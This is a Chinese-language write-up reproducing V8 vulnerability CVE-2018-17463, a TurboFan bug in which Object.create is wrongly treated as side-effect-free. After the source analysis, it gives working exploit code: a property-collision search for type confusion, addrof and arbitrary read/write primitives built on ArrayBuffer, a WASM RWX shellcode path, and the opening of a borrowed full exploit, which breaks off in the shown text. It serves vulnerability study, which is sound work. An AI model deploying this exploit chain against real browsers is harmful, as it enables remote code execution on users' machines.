V8引擎的CVE-2018-17463漏洞复现

 前言

        TurboFan 是 V8 引擎中的一种优化编译器,它可以将JavaScript代码编译成高效的本机机器码,从而提高 JavaScript 的执行效率。CVE-2018-17463就是由TurboFan优化而产生的一个漏洞。

环境搭建

fetch v8
git checkout 568979f4d891bafec875fab20f608ff9392f4f29
gclient sync
./tools/dev/v8gen.py x64.debug -vv
ninja -C out.gn/x64.debug
ninja -C out.gn/x64.release(两个选一个即可)

官方POC分析

//poc.js
(function() {
  function f(o) {
    o.x;
    Object.create(o);
    return o.y.a;
  }
  f({ x : 0, y : { a : 1 } });
  f({ x : 0, y : { a : 2 } });
  %OptimizeFunctionOnNextCall(f);
  assertEquals(3, f({ x : 0, y : { a : 3 } }));
})();
(function() {
  function f(o) {
    let a = o.y;
    Object.create(o);
    return o.x + a;
  }
  f({ x : 42, y : 21 });
  f({ x : 42, y : 21 });
  %OptimizeFunctionOnNextCall(f);
  assertEquals(63, f({ x : 42, y : 21 }));
})();

首先创建一个名为f的函数,函数功能就是首先访问对象o的x属性,然后调用Object.create(o)创建一个新的对象,这里将其返回值忽略了(即返回值并不是这里的重点),最后函数返回o.y.a属性。这样调用了两次f函数,然后使用%OptimizeFunctionOnNextCall 语法提示来优化 f 函数,最后再次调用f函数并判断返回值是否为3。由于传入的参数就是3,所以这里返回值应该为3,但由于调用了Object.create(o),导致这里返回值发生了改变。

源码分析

这里主要根据P4nda的博客进行源码分析,再加一些注释。

首先定位到对CreateObject操作的判断,在v8/src/compiler/js-operator.cc:625

  V(Create, Operator::kNoProperties, 2, 1)                             \
  V(CreateIterResultObject, Operator::kEliminatable, 2, 1)             \
  V(CreateStringIterator, Operator::kEliminatable, 1, 1)               \
  V(CreateKeyValueArray, Operator::kEliminatable, 2, 1)                \
  V(CreatePromise, Operator::kEliminatable, 0, 1)                      \
  V(CreateTypedArray, Operator::kNoProperties, 5, 1)                   \
  V(CreateObject, Operator::kNoWrite, 1, 1)                            \

这里对CreateObject这个操作标识为kNoWrite,也就是说在进行代码优化时,CreateObject没有任何可见的副作用。

在v8/src/compiler/operator.h:39定义了各种标识。

  enum Property {
    kNoProperties = 0,
    kCommutative = 1 << 0,  // OP(a, b) == OP(b, a) for all inputs.
    kAssociative = 1 << 1,  // OP(a, OP(b,c)) == OP(OP(a,b), c) for all inputs.
    kIdempotent = 1 << 2,   // OP(a); OP(a) == OP(a).
    kNoRead = 1 << 3,       // Has no scheduling dependency on Effects
    kNoWrite = 1 << 4,      // Does not modify any Effects and thereby
                            // create new scheduling dependencies.
    kNoThrow = 1 << 5,      // Can never generate an exception.
    kNoDeopt = 1 << 6,      // Can never generate an eager deoptimization exit.
    kFoldable = kNoRead | kNoWrite,
    kKontrol = kNoDeopt | kFoldable | kNoThrow,
    kEliminatable = kNoDeopt | kNoWrite | kNoThrow,
    kPure = kNoDeopt | kNoRead | kNoWrite | kNoThrow | kIdempotent
  };

其中对kNoWrite的描述是该运算符不会产生任何副作用,不产生调用依赖关系。

在v8/src/compiler/js-generic-lowering.cc:404中

void JSGenericLowering::LowerJSCreateObject(Node* node) {
  CallDescriptor::Flags flags = FrameStateFlagForCall(node);
  Callable callable = Builtins::CallableFor(
      isolate(), Builtins::kCreateObjectWithoutProperties);
  ReplaceWithStubCall(node, callable, flags);
}

这里先介绍一下generic-lowering,generic-lowering主要作用就是将高级语言指令转换为低级的操作和stub调用,便于代码生成和优化。在这段代码中,通过调用ReplaceWithStubCall方法来将CreateObject替换为kCreateObjectWithoutProperties内置函数调用,也就是stub调用。

kCreateObjectWithoutProperties定义在v8/src/builtins/builtins-object-gen.cc

TF_BUILTIN(CreateObjectWithoutProperties, ObjectBuiltinsAssembler) {
  Node* const prototype = Parameter(Descriptor::kPrototypeArg);
  Node* const context = Parameter(Descriptor::kContext);
  Node* const native_context = LoadNativeContext(context);
  Label call_runtime(this, Label::kDeferred), prototype_null(this),
      prototype_jsreceiver(this);
  {
    Comment("Argument check: prototype");
    GotoIf(IsNull(prototype), &prototype_null);
    BranchIfJSReceiver(prototype, &prototype_jsreceiver, &call_runtime);
  }

  VARIABLE(map, MachineRepresentation::kTagged);
  VARIABLE(properties, MachineRepresentation::kTagged);
  Label instantiate_map(this);

  BIND(&prototype_null);
  {
    Comment("Prototype is null");
    map.Bind(LoadContextElement(native_context,
                                Context::SLOW_OBJECT_WITH_NULL_PROTOTYPE_MAP));
    properties.Bind(AllocateNameDictionary(NameDictionary::kInitialCapacity));
    Goto(&instantiate_map);
  }

  BIND(&prototype_jsreceiver);
  {
    Comment("Prototype is JSReceiver");
    properties.Bind(EmptyFixedArrayConstant());
    Node* object_function =
        LoadContextElement(native_context, Context::OBJECT_FUNCTION_INDEX);
    Node* object_function_map = LoadObjectField(
        object_function, JSFunction::kPrototypeOrInitialMapOffset);
    map.Bind(object_function_map);
    GotoIf(WordEqual(prototype, LoadMapPrototype(map.value())),
           &instantiate_map);
    Comment("Try loading the prototype info");
    Node* prototype_info =
        LoadMapPrototypeInfo(LoadMap(prototype), &call_runtime);
    TNode<MaybeObject> maybe_map = LoadMaybeWeakObjectField(
        prototype_info, PrototypeInfo::kObjectCreateMapOffset);
    GotoIf(IsStrongReferenceTo(maybe_map, UndefinedConstant()), &call_runtime);
    map.Bind(ToWeakHeapObject(maybe_map, &call_runtime));
    Goto(&instantiate_map);
  }

  BIND(&instantiate_map);
  {
    Comment("Instantiate map");
    Node* instance = AllocateJSObjectFromMap(map.value(), properties.value());
    Return(instance);
  }

  BIND(&call_runtime);
  {
    Comment("Call Runtime (prototype is not null/jsreceiver)");
    Node* result = CallRuntime(Runtime::kObjectCreate, context, prototype,
                               UndefinedConstant());
    Return(result);
  }
}

首先对prototype参数进行类型检查,判断其是否为 null 或 JSReceiver 对象,如果这两者都不是则调用Runtime::kObjectCreate。

ObjectCreate定义在v8/src/runtime/runtime-object.cc:316

RUNTIME_FUNCTION(Runtime_ObjectCreate) {
  HandleScope scope(isolate);
  Handle<Object> prototype = args.at(0);
  Handle<Object> properties = args.at(1);
  Handle<JSObject> obj;
  // 1. If Type(O) is neither Object nor Null, throw a TypeError exception.
  if (!prototype->IsNull(isolate) && !prototype->IsJSReceiver()) {
    THROW_NEW_ERROR_RETURN_FAILURE(
        isolate, NewTypeError(MessageTemplate::kProtoObjectOrNull, prototype));
  }
  // 2. Let obj be ObjectCreate(O).
  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
      isolate, obj, JSObject::ObjectCreate(isolate, prototype));

  // 3. If Properties is not undefined, then
  if (!properties->IsUndefined(isolate)) {
    // a. Return ? ObjectDefineProperties(obj, Properties).
    // Define the properties if properties was specified and is not undefined.
    RETURN_RESULT_OR_FAILURE(
        isolate, JSReceiver::DefineProperties(isolate, obj, properties));
  }
  // 4. Return obj.
  return *obj;
}

首先对传入的prototype进行判断,判断是否为 null 或 JSReceiver 对象,若不是则抛出异常。然后调用了JSObject::ObjectCreate。

JSObject::ObjectCreate定义在v8/src/objects.cc:1362

MaybeHandle<JSObject> JSObject::ObjectCreate(Isolate* isolate,
                                             Handle<Object> prototype) {
  // Generate the map with the specified {prototype} based on the Object
  // function's initial map from the current native context.
  // TODO(bmeurer): Use a dedicated cache for Object.create; think about
  // slack tracking for Object.create.
  Handle<Map> map =
      Map::GetObjectCreateMap(isolate, Handle<HeapObject>::cast(prototype));

  // Actually allocate the object.
  Handle<JSObject> object;
  if (map->is_dictionary_map()) {
    object = isolate->factory()->NewSlowJSObjectFromMap(map);
  } else {
    object = isolate->factory()->NewJSObjectFromMap(map);
  }
  return object;
}

首先调用Map::GetObjectCreateMap方法根据传入的prototype参数和原有的object的map生成一个新的map,然后根据新生成的map分配内存空间,返回新的object。

Map::GetObjectCreateMap函数定义在v8/src/objects.cc:5450

Handle<Map> Map::GetObjectCreateMap(Isolate* isolate,
                                    Handle<HeapObject> prototype) {
  Handle<Map> map(isolate->native_context()->object_function()->initial_map(),
                  isolate);
  if (map->prototype() == *prototype) return map;
  if (prototype->IsNull(isolate)) {
    return isolate->slow_object_with_null_prototype_map();
  }
  if (prototype->IsJSObject()) {
    Handle<JSObject> js_prototype = Handle<JSObject>::cast(prototype);
    if (!js_prototype->map()->is_prototype_map()) {
      JSObject::OptimizeAsPrototype(js_prototype);
    }
    Handle<PrototypeInfo> info =
        Map::GetOrCreatePrototypeInfo(js_prototype, isolate);
    // TODO(verwaest): Use inobject slack tracking for this map.
    if (info->HasObjectCreateMap()) {
      map = handle(info->ObjectCreateMap(), isolate);
    } else {
      map = Map::CopyInitialMap(isolate, map);
      Map::SetPrototype(isolate, map, prototype);
      PrototypeInfo::SetObjectCreateMap(info, map);
    }
    return map;
  }

首先获取当前的 object 函数的初始 map,然后,它检查当前 map 的原型是否与传入的原型对象相同。如果相同,则直接返回当前的 map。如果是null或者JSObject,则分别执行对应操作。这里再JSObject分支中,会调用JSObject::OptimizeAsPrototype将一个普通的 JSObject 对象的 map 转换为 prototype map,从而优化其性能。

函数JSObject::OptimizeAsPrototype定义于v8/src/objects.cc:12519

void JSObject::OptimizeAsPrototype(Handle<JSObject> object,
                                   bool enable_setup_mode) {
  if (object->IsJSGlobalObject()) return;
  if (enable_setup_mode && PrototypeBenefitsFromNormalization(object)) {
    // First normalize to ensure all JSFunctions are DATA_CONSTANT.
    JSObject::NormalizeProperties(object, KEEP_INOBJECT_PROPERTIES, 0,
                                  "NormalizeAsPrototype");
  }
  if (object->map()->is_prototype_map()) {
    if (object->map()->should_be_fast_prototype_map() &&
        !object->HasFastProperties()) {
      JSObject::MigrateSlowToFast(object, 0, "OptimizeAsPrototype");
    }
  } else {
    Handle<Map> new_map = Map::Copy(object->GetIsolate(),
                                    handle(object->map(), object->GetIsolate()),
                                    "CopyAsPrototype");
    JSObject::MigrateToMap(object, new_map);
    object->map()->set_is_prototype_map(true);

    // Replace the pointer to the exact constructor with the Object function
    // from the same context if undetectable from JS. This is to avoid keeping
    // memory alive unnecessarily.
    Object* maybe_constructor = object->map()->GetConstructor();
    if (maybe_constructor->IsJSFunction()) {
      JSFunction* constructor = JSFunction::cast(maybe_constructor);
      if (!constructor->shared()->IsApiFunction()) {
        Context* context = constructor->context()->native_context();
        JSFunction* object_function = context->object_function();
        object->map()->SetConstructor(object_function);
      }
    }
  }
}

这里如果满足enable_setup_mode && PrototypeBenefitsFromNormalization(object),即当前处于setup_mode并且需要规范化操作时,调用JSObject::NormalizeProperties进行优化。

 JSObject::NormalizeProperties函数定义于v8/src/objects.cc:6436

void JSObject::NormalizeProperties(Handle<JSObject> object,
                                   PropertyNormalizationMode mode,
                                   int expected_additional_properties,
                                   const char* reason) {
  if (!object->HasFastProperties()) return;

  Handle<Map> map(object->map(), object->GetIsolate());
  Handle<Map> new_map = Map::Normalize(object->GetIsolate(), map, mode, reason);

  MigrateToMap(object, new_map, expected_additional_properties);
}

首先检查对象是否具有fast properties,如果没有,则直接返回。否则创建一个map句柄,调用Map::Normalize方法生成一个新的map。然后调用MigrateMap将传入的对象迁移到新的map上,这里如果new_map和map不一致,就会产生side-effect。

继续跟进Map::Normalize,定义于v8/src/objects.cc:9185

Handle<Map> Map::Normalize(Isolate* isolate, Handle<Map> fast_map,
                           PropertyNormalizationMode mode, const char* reason) {
  DCHECK(!fast_map->is_dictionary_map());

  Handle<Object> maybe_cache(isolate->native_context()->normalized_map_cache(),
                             isolate);
  bool use_cache =
      !fast_map->is_prototype_map() && !maybe_cache->IsUndefined(isolate);
  Handle<NormalizedMapCache> cache;
  if (use_cache) cache = Handle<NormalizedMapCache>::cast(maybe_cache);

  Handle<Map> new_map;
  if (use_cache && cache->Get(fast_map, mode).ToHandle(&new_map)) {
#ifdef VERIFY_HEAP
    if (FLAG_verify_heap) new_map->DictionaryMapVerify(isolate);
#endif
#ifdef ENABLE_SLOW_DCHECKS
    if (FLAG_enable_slow_asserts) {
      // The cached map should match newly created normalized map bit-by-bit,
      // except for the code cache, which can contain some ICs which can be
      // applied to the shared map, dependent code and weak cell cache.
      Handle<Map> fresh = Map::CopyNormalized(isolate, fast_map, mode);

      if (new_map->is_prototype_map()) {
        // For prototype maps, the PrototypeInfo is not copied.
        DCHECK_EQ(0, memcmp(reinterpret_cast<void*>(fresh->address()),
                            reinterpret_cast<void*>(new_map->address()),
                            kTransitionsOrPrototypeInfoOffset));
        DCHECK_EQ(fresh->raw_transitions(),
                  MaybeObject::FromObject(Smi::kZero));
        STATIC_ASSERT(kDescriptorsOffset ==
                      kTransitionsOrPrototypeInfoOffset + kPointerSize);
        DCHECK_EQ(0, memcmp(HeapObject::RawField(*fresh, kDescriptorsOffset),
                            HeapObject::RawField(*new_map, kDescriptorsOffset),
                            kDependentCodeOffset - kDescriptorsOffset));
      } else {
        DCHECK_EQ(0, memcmp(reinterpret_cast<void*>(fresh->address()),
                            reinterpret_cast<void*>(new_map->address()),
                            Map::kDependentCodeOffset));
      }
      STATIC_ASSERT(Map::kPrototypeValidityCellOffset ==
                    Map::kDependentCodeOffset + kPointerSize);
      int offset = Map::kPrototypeValidityCellOffset + kPointerSize;
      DCHECK_EQ(0, memcmp(reinterpret_cast<void*>(fresh->address() + offset),
                          reinterpret_cast<void*>(new_map->address() + offset),
                          Map::kSize - offset));
    }
#endif
  } else {
    new_map = Map::CopyNormalized(isolate, fast_map, mode);
    if (use_cache) {
      cache->Set(fast_map, new_map);
      isolate->counters()->maps_normalized()->Increment();
    }
    if (FLAG_trace_maps) {
      LOG(isolate, MapEvent("Normalize", *fast_map, *new_map, reason));
    }
  }
  fast_map->NotifyLeafMapLayoutChange(isolate);
  return new_map;
}

首先检查传入的map是否为dictionary map,是则返回。然后检查 normalized_map_cache 是否已经缓存了传入的 fast_map,是则直接返回缓存的map。否则调用Map::CopyNormalized生成一个新的map。

函数Map::CopyNormalized定义于v8/src/objects.cc:9247

Handle<Map> Map::CopyNormalized(Isolate* isolate, Handle<Map> map,
                                PropertyNormalizationMode mode) {
  int new_instance_size = map->instance_size();
  if (mode == CLEAR_INOBJECT_PROPERTIES) {
    new_instance_size -= map->GetInObjectProperties() * kPointerSize;
  }

  Handle<Map> result = RawCopy(
      isolate, map, new_instance_size,
      mode == CLEAR_INOBJECT_PROPERTIES ? 0 : map->GetInObjectProperties());
  // Clear the unused_property_fields explicitly as this field should not
  // be accessed for normalized maps.
  result->SetInObjectUnusedPropertyFields(0);
  result->set_is_dictionary_map(true);
  result->set_is_migration_target(false);
  result->set_may_have_interesting_symbols(true);
  result->set_construction_counter(kNoSlackTracking);

#ifdef VERIFY_HEAP
  if (FLAG_verify_heap) result->DictionaryMapVerify(isolate);
#endif

  return result;
}

调用RawCopy方法生成一个新的map,并将对应字段设置为默认值,这里将对dictionary模式的判断设置为True。也就是说这里新生成的map是dictionary模式。(这里map就已经发生了改变)

RawCopy函数定义于v8/src/objects.cc:9162

Handle<Map> Map::RawCopy(Isolate* isolate, Handle<Map> map, int instance_size,
                         int inobject_properties) {
  Handle<Map> result = isolate->factory()->NewMap(
      map->instance_type(), instance_size, TERMINAL_FAST_ELEMENTS_KIND,
      inobject_properties);
  Handle<Object> prototype(map->prototype(), isolate);
  Map::SetPrototype(isolate, result, prototype);
  result->set_constructor_or_backpointer(map->GetConstructor());
  result->set_bit_field(map->bit_field());
  result->set_bit_field2(map->bit_field2());
  int new_bit_field3 = map->bit_field3();
  new_bit_field3 = OwnsDescriptorsBit::update(new_bit_field3, true);
  new_bit_field3 = NumberOfOwnDescriptorsBits::update(new_bit_field3, 0);
  new_bit_field3 = EnumLengthBits::update(new_bit_field3,
                                          kInvalidEnumCacheSentinel);
  new_bit_field3 = IsDeprecatedBit::update(new_bit_field3, false);
  if (!map->is_dictionary_map()) {
    new_bit_field3 = IsUnstableBit::update(new_bit_field3, false);
  }
  result->set_bit_field3(new_bit_field3);
  return result;
}

首先创建一个Handle<Map>,并调用Map::SetPrototype对该map设置其对应的属性。

函数Map::SetPrototype定义于v8/src/objects.cc:12792

void Map::SetPrototype(Isolate* isolate, Handle<Map> map,
                       Handle<Object> prototype,
                       bool enable_prototype_setup_mode) {
  RuntimeCallTimerScope stats_scope(isolate, *map,
                                    RuntimeCallCounterId::kMap_SetPrototype);

  bool is_hidden = false;
  if (prototype->IsJSObject()) {
    Handle<JSObject> prototype_jsobj = Handle<JSObject>::cast(prototype);
    JSObject::OptimizeAsPrototype(prototype_jsobj, enable_prototype_setup_mode);

    Object* maybe_constructor = prototype_jsobj->map()->GetConstructor();
    if (maybe_constructor->IsJSFunction()) {
      JSFunction* constructor = JSFunction::cast(maybe_constructor);
      Object* data = constructor->shared()->function_data();
      is_hidden = (data->IsFunctionTemplateInfo() &&
                   FunctionTemplateInfo::cast(data)->hidden_prototype()) ||
                  prototype->IsJSGlobalObject();
    } else if (maybe_constructor->IsFunctionTemplateInfo()) {
      is_hidden =
          FunctionTemplateInfo::cast(maybe_constructor)->hidden_prototype() ||
          prototype->IsJSGlobalObject();
    }
  }
  map->set_has_hidden_prototype(is_hidden);

  WriteBarrierMode wb_mode =
      prototype->IsNull(isolate) ? SKIP_WRITE_BARRIER : UPDATE_WRITE_BARRIER;
  map->set_prototype(*prototype, wb_mode);
}

在其中调用了OptimizeAsPrototype。这里经过OptimizeAsPrototype(v8/src/objects.cc:12519)不满足条件,故跳过优化执行MigrateToMap。

MigrateToMap函数定义于v8/src/objects.cc:4514

void JSObject::MigrateToMap(Handle<JSObject> object, Handle<Map> new_map,
                            int expected_additional_properties) {
  if (object->map() == *new_map) return;
  Handle<Map> old_map(object->map(), object->GetIsolate());
  NotifyMapChange(old_map, new_map, object->GetIsolate());

  if (old_map->is_dictionary_map()) {
    // For slow-to-fast migrations JSObject::MigrateSlowToFast()
    // must be used instead.
    CHECK(new_map->is_dictionary_map());

    // Slow-to-slow migration is trivial.
    object->synchronized_set_map(*new_map);
  } else if (!new_map->is_dictionary_map()) {
    MigrateFastToFast(object, new_map);
    if (old_map->is_prototype_map()) {
      DCHECK(!old_map->is_stable());
      DCHECK(new_map->is_stable());
      DCHECK(new_map->owns_descriptors());
      DCHECK(old_map->owns_descriptors());
      // Transfer ownership to the new map. Keep the descriptor pointer of the
      // old map intact because the concurrent marker might be iterating the
      // object with the old map.
      old_map->set_owns_descriptors(false);
      DCHECK(old_map->is_abandoned_prototype_map());
      // Ensure that no transition was inserted for prototype migrations.
      DCHECK_EQ(0, TransitionsAccessor(object->GetIsolate(), old_map)
                       .NumberOfTransitions());
      DCHECK(new_map->GetBackPointer()->IsUndefined());
      DCHECK(object->map() != *old_map);
    }
  } else {
    MigrateFastToSlow(object, new_map, expected_additional_properties);
  }

  // Careful: Don't allocate here!
  // For some callers of this method, |object| might be in an inconsistent
  // state now: the new map might have a new elements_kind, but the object's
  // elements pointer hasn't been updated yet. Callers will fix this, but in
  // the meantime, (indirectly) calling JSObjectVerify() must be avoided.
  // When adding code here, add a DisallowHeapAllocation too.
}

这里判断old_map和new_map是否都是 dictionary map,分别调用MigrateFastToFast,MigrateFastToSlow等方法进行迁移。

在 Map::CopyNormalized 方法中,当需要生成dictionary mode map时,会调用RawCopy方法生成一个新的 map。而在RawCopy 方法中,如果传入的 map 是 dictionary map,那么生成的新 map 也会是 dictionary map。因此,如果Map::CopyNormalized 方法被调用来生成 dictionary mode 的 map,那么生成的新 map 就会直接继承传入的 dictionary map 的一些属性和元信息,而不需要再进行属性规范化的过程。至此,我们发现map在经过这一系列函数调用后,会被更新为dictionary map。显然CreateObject函数是kNoWrite就是错误的。

而由于在调用object.create函数时,由于这个操作被标记为kNoWrite,因此在优化的过程中省略了一系列检查,最终导致map发生了改变却没有检测出来,从而造成了漏洞。

漏洞利用

Object.create函数作用

首先测试一下Object.create函数

测试代码:

let a = {x : 1};
%DebugPrint(a);
Object.create(a);
%DebugPrint(a);

执行后

object.create后

 可以发现object a已经从FastProperties变成DictionaryProperties

Object.create函数对不同的对象属性定义的影响

为了探究这种改变具体可以影响object的什么位置,我们可以先从不同对象属性的定义中看Object.create的影响。

测试代码:

var a={x:1,y:2,z:3};
a.b=4;
a.c=5;
a.d=6;
%DebugPrint(a);
%SystemBreak();
Object.create(a);
%DebugPrint(a);
%SystemBreak();

第一处debugprint

 一共六个属性,其中三个被标记为properties,该map是FastProperties。

 这里发现被初始化的1,2,3保存在properties的值后边,即在结构体内部,而通过操作增加的4,5,6则保存在properties指向的地址处,并且按照顺序存储。

在执行完object.create后,a的map已经变成了字典模式

 我们看一下a的内存

原本的xyz的值并未保存在这里。看一下properties成员

 长度从3变为了6,结构变成了HashTable。因此object.create的影响就是把inobject properties和properties都保存到了properties中,并且把原来的线性结构改为hash表的字典结构。这里就造成了一个side-effect。

看一下properties的内存,字典结构的存储。

 对于elements的数据,从0->15每一个占0x10,前0x8是属性名,后0x8是属性值。

利用side-effect触发漏洞

要将这一side-effect的影响扩大,我们就需要利用优化去掉一些检查。

在v8/src/compiler/checkpoint-elimination.cc:21中

bool IsRedundantCheckpoint(Node* node) {
  Node* effect = NodeProperties::GetEffectInput(node);
  while (effect->op()->HasProperty(Operator::kNoWrite) &&
         effect->op()->EffectInputCount() == 1) {
    if (effect->opcode() == IrOpcode::kCheckpoint) return true;
    effect = NodeProperties::GetEffectInput(effect);
  }
  return false;
}

这里传入的参数是一个指向Node类型的指针。Node类型是一个表示V8引擎中的抽象语法树节点的类。函数首先进入循环,检查节点是否是kNoWrite属性,满足条件后再判断是否遇到了一个opcode为kCheckpoint的节点,遇到则返回true,也就说明第二个检查是多余的。

因此,我们可以想到,首先访问一个对象的内部属性,然后调用object.create方法,由于object.create方法被认为是kNoWrite,所以就有可能导致我们第二次访问该对象的内部属性时类型检查消失。

可以写一段测试代码验证一下:

function vuln(){
    function bad_create(list){
        list.a;
        Object.create(list);
        return list.b
    }

    for(var i=0;i<=10000;i++){
        let list={a:0x1234};
        list.b=0x5678;
        let fake_b=bad_create(list);
        if(fake_b!=0x5678){
            console.log(i)
            return;
        }
    }
    console.log("cve-2018")
}
vuln();

 运行代码,发现第5691次触发了漏洞,也就是说经过Object.create之后,由于该方法的kNoWrite标识,导致对list.b的检查消失,造成返回了一个与list.b相同偏移的数据,但是属性b并非初始化产生,因此存储于Properties中,而由于Properties的内存中是会发生变化的,因此相同偏移的数据是不相同的。

类型混淆

上边提到,DictionaryProperties是一个hash表,每一次属性的存储位置都不是固定的,运行两次查看一下Properties内存结构

第一次:

第二次:

可以发现这两次运行经过object.create后的Properties内存并不相同。

那么如果在同一次执行过程中,我们构建两个相同属性的object呢。

测试代码:

let a1 = {x : 1,y:2,z:3};
a1.b = 4;
a1.c = 5;
a1.d = 6;
let a2 = {x : 2,y:3,z:4};
a2.b = 7;
a2.c = 8;
a2.d = 9;
Object.create(a1);
%DebugPrint(a1);
Object.create(a2);
%DebugPrint(a2);
%SystemBreak();

 可以发现在同一次执行过程中,构造两个相同属性的object,其DictionaryProperties偏移是相同的,尽管两个属性值不同,但属性名存在同一位置。

由此,我们可以知道,在一次利用中只要找到一对可以用于类型混淆的属性名,那么就可以通过其中一个属性名的偏移推出另一个相同属性名的偏移。

我们可以通过构建一个对象,其中把属性名和属性值设置为有规律的键值对,如{‘bi’ => -(i+0x4869) },在恶意构造的函数中,返回全部可读的Properties值,通过其值的规律性,可以找到一对在属性改变先后可以对应的属性名X1、X2达到恶意函数返回a.X1,实质上是返回a.X2的目的,从而造成类型混淆。这里直接用P4nda师傅的脚本,我写不出来。。。

搜索X1,X2对的代码:

// check collision between directory mode and fast mode
let OPTIMIZATION_NUM = 10000
let OBJ_LEN  = 0x30

function getOBJ(){
    let res = {a:0x1234};
    for (let i = 0; i< OBJ_LEN;i++){
        eval(`res.${'b'+i} = -${0x4869 + i};
        `);        
    }
    return res;
}

function findCollision(){
    let find_obj = [];
    for (let i = 0;i<OBJ_LEN;i++){
        find_obj[i] = 'b'+i;
    }
    eval(`
        function bad_create(x){
            x.a;
            this.Object.create(x);
            ${find_obj.map((b) => `let ${b} = x.${b};`).join('\n')}
            return [${find_obj.join(', ')}];
        }
    `);
    for (let i = 0; i<OPTIMIZATION_NUM;i++){
        let tmp = bad_create(getOBJ());
        for (let j = 0 ;j<tmp.length;j++){
            if(tmp[j] != -(j+0x4869) && tmp[j] < -0x4868 && tmp[j] > -(1+OBJ_LEN +0x4869) ){
                console.log('b'+ j +' & b' + -(tmp[j]+0x4869) +" are collision in directory");
                return ['b'+j , 'b' + -(tmp[j]+0x4869)];
            }
        }
    }
    throw "not found collision ";
}
findCollision();

这段代码首先定义了一个名为 getOBJ 的函数,该函数返回一个具有 a 属性和 b0 到 b${OBJ_LEN-1} 属性的对象,其中每个 bi 属性都被赋予不同的负整数值。

然后定义了一个名为 findCollision 的函数,该函数使用 eval 动态创建了一个名为 bad_create 的函数。该函数接受一个对象 x 作为参数,首先访问 x.a 属性,然后使用 Object.create 创建一个新对象,最后返回 x 中所有 b 属性的数组。

在 findCollision 函数的主循环中,它使用 getOBJ 获取一个新对象,并将其传递给 bad_create 函数。然后它检查 bad_create 返回的数组中是否存在碰撞,即两个不同的 b 属性具有相同的属性值。如果找到,则返回这两个属性的名称。

 可以发现,每次执行代码后返回的键值对都不同。

这里,我们就可以构造出类型混淆,首先传入一个保存有浮点型的数据的属性A,那么在访问A时就会把对应偏移的数据当作浮点型打印出来,那么如果这个偏移上存放的是object地址,那么就会将object地址当作浮点型打印出来,也就是下边的addr of原语。

addr of原语

将上边得到的键值对设为X,Y,构建一个新的object

o.X = {x1:1.1,x2:1.2};
o.Y = {y1:obj};

构建恶意函数

function bad_create(o){
    o.a;
    this.Object.create(o);
    return o.X.x1;
}

这里在返回o.X.x1时,由于类型混淆,这里就会返回obj结构体的地址。

任意地址读写原语

与addr of原语类似,当访问A的时候,实际上是对B的偏移的操作。

对于任意地址读写,我们可以使用ArrayBuffer这个数据结构,看一下这个结构体

 这个数据结构的长度是由byte_length决定,实际读写的内存位于backing_store,而backing_store在此结构体中的偏移是0x20.因此我们只需要构造一个object,并且在对其内部属性进行写操作的时候,正好可以改到结构体+0x20的位置即可。

恶意函数构造:

function bad_create(o,value){
    o.a;
    this.Object.create(o);
    let ret = o.${X}.x0.x2;
     o.${X}.x0.x2 = value;
    return ret;
}

shellcode执行

wasmFunctionaddr
    ==>
    SharedInfo
        ==>
        WasmExportedFunctionData
            ==>
            Instance
                ==>
                Instance+0xe8+0x8(直接vmmap看就能发现这里是有rwx权限的)

具体偏移在我上篇v8中有详解。

最终exp

本人水平有限,本篇文章仅记录具体复现过程,最终exp借用P4nda佬的脚本

function gc()
{
	/*fill-up the 1MB semi-space page, force V8 to scavenge NewSpace.*/
    for(var i=0;i<((1024 * 1024)/0x10);i++)
	{
        var a= new String();
    }
}
function give_me_a_clean_newspace()
{
	/*force V8 to scavenge NewSpace twice to get a clean NewSpace.*/
	gc()
	gc()
}
let f64 = new Float64Array(1);
let u32 = new Uint32Array(f64.buffer);
function d2u(v) {
    f64[0] = v;
    return u32;
}
function u2d(lo, hi) {
    u32[0] = lo;
    u32[1] = hi;
    return f64;
}
function hex(b) {
    return ('0' + b.toString(16)).substr(-2);
}
// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
    var res = [];
    for (var i = 0; i < bytes.length; i++)
        res.push(hex(bytes[i]));
    return res.join('');
}
// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
    if (hexstr.length % 2 == 1)
        throw new TypeError("Invalid hex string");
    var bytes = new Uint8Array(hexstr.length / 2);
    for (var i = 0; i < hexstr.length; i += 2)
        bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
    return bytes;
}
function hexdump(data) {
    if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
        data = Array.from(data);
    var lines = [];
    for (var i = 0; i < data.length; i += 16) {
        var chunk = data.slice(i, i+16);
        var parts = chunk.map(hex);
        if (parts.length > 8)
            parts.splice(8, 0, ' ');
        lines.push(parts.join(' '));
    }
    return lines.join('\n');
}
// Simplified version of the similarly named python module.
var Struct = (function() {
    // Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
    var buffer      = new ArrayBuffer(8);
    var byteView    = new Uint8Array(buffer);
    var uint32View  = new Uint32Array(buffer);
    var float64View = new Float64Array(buffer);
    return {
        pack: function(type, value) {
            var view = type;        // See below
            view[0] = value;
            return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
        },
        unpack: function(type, bytes) {
            if (bytes.length !== type.BYTES_PER_ELEMENT)
                throw Error("Invalid bytearray");
            var view = type;        // See below
            byteView.set(bytes);
            return view[0];
        },
        // Available types.
        int8:    byteView,
        int32:   uint32View,
        float64: float64View
    };
})();
//
// Tiny module that provides big (64bit) integers.
//
// Copyright (c) 2016 Samuel Groß
//
// Requires utils.js
//
// Datatype to represent 64-bit integers.
//
// Internally, the integer is stored as a Uint8Array in little endian byte order.
function Int64(v) {
    // The underlying byte array.
    var bytes = new Uint8Array(8);
    switch (typeof v) {
        case 'number':
            v = '0x' + Math.floor(v).toString(16);
        case 'string':
            if (v.startsWith('0x'))
                v = v.substr(2);
            if (v.length % 2 == 1)
                v = '0' + v;
            var bigEndian = unhexlify(v, 8);
            bytes.set(Array.from(bigEndian).reverse());
            break;
        case 'object':
            if (v instanceof Int64) {
                bytes.set(v.bytes());
            } else {
                if (v.length != 8)
                    throw TypeError("Array must have excactly 8 elements.");
                bytes.set(v);
            }
            break;
        case 'undefined':
            break;
        default:
            throw TypeError("Int64 constructor requires an argument.");
    }
    // Return a double whith the same underlying bit representation.
    this.asDouble = function() {
        // Check for NaN
        if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
            throw new RangeError("Integer can not be represented by a double");
        return Struct.unpack(Struct.float64, bytes);
    };
    // Return a javascript value with the same underlying bit representation.
